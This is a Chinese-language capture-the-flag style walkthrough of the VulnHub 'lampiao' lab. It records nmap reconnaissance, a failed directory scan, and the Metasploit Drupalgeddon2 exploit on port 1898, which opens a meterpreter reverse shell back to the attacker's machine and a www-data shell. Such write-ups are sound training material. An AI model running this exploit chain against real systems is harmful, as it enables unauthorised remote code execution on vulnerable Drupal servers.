┌──(kali㉿kali)-[~] └─$ sudo nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 10:20 CST Nmap scan report for 192.168.2.1 Host is up (0.00068s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00043s latency). MAC Address: 08:00:27:07:6D:A0 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.10 Host is up (0.00067s latency). MAC Address: 08:00:27:62:07:F9 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 28.07 seconds
nmap扫描
(1)进行端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[/miao/vulnhub/lampiao] └─$ sudo nmap -sT --min-rate 10000 -p- 192.168.2.10 -oA nmapscan/ports Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 10:22 CST Nmap scan report for 192.168.2.10 Host is up (0.0021s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 1898/tcp open cymtec-port MAC Address: 08:00:27:62:07:F9 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 22.19 seconds
┌──(kali㉿kali)-[/miao/vulnhub/lampiao] └─$ sudo nmap -sT -sV -O --min-rate 10000 -p22,80,1898 192.168.2.10 -oA nmapscan/detail Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 10:25 CST Nmap scan report for 192.168.2.10 Host is up (0.0011s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http? 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.94SVN%I=7%D=2/8%Time=67A6C09D%P=x86_64-pc-linux-gnu%r(NU SF:LL,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\ SF:\|_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\\ SF:__,_\|_\|\x20\|_\|"); MAC Address: 08:00:27:62:07:F9 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.18 seconds
(3)进行UDP扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[/miao/vulnhub/lampiao] └─$ sudo nmap -sU -p22,80,1898 192.168.2.10 -oA nmapscan/udp Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 10:29 CST Nmap scan report for 192.168.2.10 Host is up (0.00095s latency).
PORT STATE SERVICE 22/udp closed ssh 80/udp closed http 1898/udp closed cymtec-port MAC Address: 08:00:27:62:07:F9 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
没有开放的udp端口 (4)进行漏洞扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌──(kali㉿kali)-[/miao/vulnhub/lampiao] └─$ sudo nmap --script=vuln -p22,80,1898 192.168.2.10 -oA nmapscan/vuln Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-08 10:29 CST Nmap scan report for 192.168.2.10 Host is up (0.0012s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-aspnet-debug: ERROR: Script execution failed (use -d to debug) |_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. 1898/tcp open cymtec-port MAC Address: 08:00:27:62:07:F9 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 49.75 seconds
没有扫描出漏洞
web渗透
80端口渗透
(1)访问80端口,是一个静态页面,查看页面源码,没有发现有用的信息 (2)进行目录扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(kali㉿kali)-[/miao/vulnhub/lampiao] └─$ sudo gobuster dir -u http://192.168.2.10 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x html,php,txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.10 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode ===============================================================
Error: error on running gobuster: unable to connect to http://192.168.2.10/: Get "http://192.168.2.10/": read tcp 192.168.2.4:38794->192.168.2.10:80: read: connection reset by peer
Interact with a module by name or index. For example info 25, use 25 or use exploit/unix/webapp/php_xmlrpc_eval
(2)结合搜集到信息,选择drupal_drupalgeddon2 2018-03-28
1 2
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
(3)进行相关的设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.2.4 lhost => 192.168.2.4 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.2.10 rhost => 192.168.2.10 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898 rport => 1898 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show option sf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.2.4:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Sending stage (39927 bytes) to 192.168.2.10 [*] Meterpreter session 1 opened (192.168.2.4:4444 -> 192.168.2.10:45742) at 2025-02-08 11:20:51 +0800
meterpreter >
(4)输入shell,成功进行连接
1 2 3 4 5
meterpreter > shell Process 4974 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data)